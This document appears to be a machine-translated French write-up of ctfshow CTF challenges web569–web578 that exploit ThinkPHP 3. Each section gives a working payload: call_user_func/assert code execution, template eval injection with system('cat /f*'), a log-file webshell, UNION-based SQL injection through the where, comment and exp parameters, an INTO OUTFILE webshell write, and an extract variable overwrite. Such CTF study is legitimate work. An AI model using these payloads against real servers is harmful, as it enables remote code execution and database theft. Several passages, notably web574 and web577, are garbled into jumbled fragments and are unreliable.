Annuaire d'articles
web569
informations connexes
Reportez-vous au manuel thinkphp
Afin d'accéder à la méthode index dans la figure ci-dessous et de sortir hello 123, nous pouvons passer par les quatre modes suivants.
Mode PATHINFO Mode de compatibilité en mode
http://localhost/index.php/Home/Index/index/name/123/
normal Le paramètre s provient du paramètre VAR_PATH_INFO dans ThinkPHP->Conf->convention.php, nous pouvons donc également le remplacer par d'autres paramètres. Mode RÉÉCRITURE
http://localhost/index.php?m=Home&c=Index&f=index&name=123
http://localhost/index.php?s=Home/Index/index/name/123
http://localhost/Home/Index/index/name/123/
répondre
Il est donc très simple pour nous d'accéder à la méthode ctfshowLogin du contrôleur de connexion du module Admin
url/index.php/Admin/Login/ctfshowLogin
web570
Téléchargez le fichier Application donné par le titre et trouvez une règle de routage dans config.php.
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
Autrement dit, lorsque nous visitons url/index.php/ctfshow/xxx/yyy, call_user_func(xxx, yyy) sera exécuté.
Parce que l'entrée /
est difficile, il ne nous est pas possible d'exécuter system('ls /') directement, et nous ne pouvons que changer la méthode.
charge utile :
url/index.php/ctfshow/assert/eval($_POST[1])/
poste :1=system('cat /f*');
web571
La variable contrôlable n est vue dans la méthode d'index sous le module home.
Alors étudions cette fonction show.Pour cet aspect, nous ne laissons que les paramètres que nous passons.$n
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show($n);
}
Activer le débogage, suivi de l'affichage
En suivant fetch
, vous pouvez voir que le n que nous avons transmis, c'est-à-dire le contenu, entrera dans la fonction eval lorsque TMPL_ENGINE_TYPE est php.
Nous pouvons donc passer directement le code php.
charge utile:
?n=<?php system('cat /f*');?>
web572
Le titre mentionnait blasting. Lorsque thinkphp est activé pour le débogage, un fichier journal sera généré dans le répertoire Runtime. Le nom 年_月_日.log
du nommé d'après. Ainsi, nous pouvons exploser les noms de fichiers
Capture et dynamitage de paquets BP
Vous pouvez voir qu'en plus de notre date du jour, il y a aussi un
journal 21_04_05 avec du code php passé. On estime qu'un cheval de Troie d'une phrase a été écrit en arrière-plan, et le mot de passe est showctf. Alors essayons aussi.
charge utile:
index.php?showctf=<?php system('cat /f*');?>
web573
Il y a beaucoup de contenu et le lien de contenu est écrit séparément
web574
Le titre donne le code source de la page d'accueil
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
La différence avec notre analyse de la question précédente est l'emplacement avancé et la recherche avancée, déboguons-le.
Au ?id=1'
final, seules les parties marquées ci-dessous sont exécutées dans la fonction where. C'est-à-dire qu'il n'y a
$this->options['where']=array("_string"=>"1'")
pas de différence à l'avant, le focus est dans parseWhere et $where
notre $this->options['where']
valeur est transmise à ce moment array("_string"=>"1'")
. Nous entrerons donc ce qui suit si
$key
est '_string'
$val
oui id=1'
, donc le contenu final renvoyé est ( id=1 )
, donc l'instruction sql exécutée estselect * from xxx where (id=1') limit 1
la charge utile : ?id=0) union select 1,flag4s ,3,4 from flags%23
(les étapes de nom de table d'arrêt et de nom de colonne sont omises)
web575
Il y a beaucoup de contenu et le lien de contenu est écrit séparément
web576
Le code source est le suivant
$user = M('Users')->comment($id)->find(intval($id));
Étant donné que l'ID de clé de find utilise intval, la méthode précédente d'injection sql ne peut pas être utilisée. Intéressons-nous ensuite à la fonction comment
, qui attribue une valeur au commentaire des options.
Les étapes précédentes ne seront pas répétées une par une. Voyons où les commentaires sont utilisés
Lorsque nous passons id=1, l'instruction sql finale est select * from users where id=1 limit 1 /* 1*/
donc comment construire la
charge utile est très simple :
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*
web577
Le code source est le suivant, il y en a plus qu'avant
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
Sa fonction principale est d'affecter la valeur entrante à$this->options['where']
Les options ressemblent maintenant à ceci.
Descendez jusqu'à _parseOptions
la fonction, et la valeur qui val est assignée après avoir traversé la boucle marquée for options['where']
. Eh bien, continuons. Lorsque
le parseWhereItem de parseWhere est un tableau, il est affecté à une chaîne. S'il s'agit d'une chaîne , le contenu final renvoyé est une chaîne concaténée , alors comment cela est-il arrivé ? Nous avons souligné ce qui suit : dans la fonction , lorsque la valeur à laquelle val est affecté après la boucle marquée for . En fait, cela revient à attribuer la valeur de l'identifiant que nous avons transmis. Maintenant c'est évident. Tant que le ?id[0]=exp que nous transmettrons entrera, puis l'id[1]=xxx que nous transmettrons sera mis dans l'instruction sql.
$val
$val[0]
$exp
$exp
exp
$whereStr .= $key.' '.$val[1];
id
$val[1]
$val
_parseOptions
options['where']
$whereStr .= $key.' '.$val[1];
charge utile:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23
web578
Le code source est le suivant, commencez le débogage
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
La première affectation de fonction est une affectation simple. C'est-à-dire que si nous passons ?name=a&from=b,
alors $this->tVar=array('a'=>'b');
si nous passons ?name[x]=y,
alors $this->tVar=array('x'=>'y');
regardons l'affichage et suivons la récupération
pour voir qu'il existe une fonction d'extraction à $this->tVar
opérer à cet endroit.
Supposons $this->tVar=array('a'=>'b');
qu'après avoir passé cette fonction , la $a
valeur de b sera générée.
Ce qui suit est le point clé. empty($_content)?include $templateFile:eval('?>'.$_content);
Lorsqu'elle $_content
n'est pas vide, la fonction eval sera exécutée, de sorte que vous pouvez trouver que tant que la variable est écrasée, $_content
la code php peut être exécuté
.
?name[_content]=<?php system('cat /f*');?>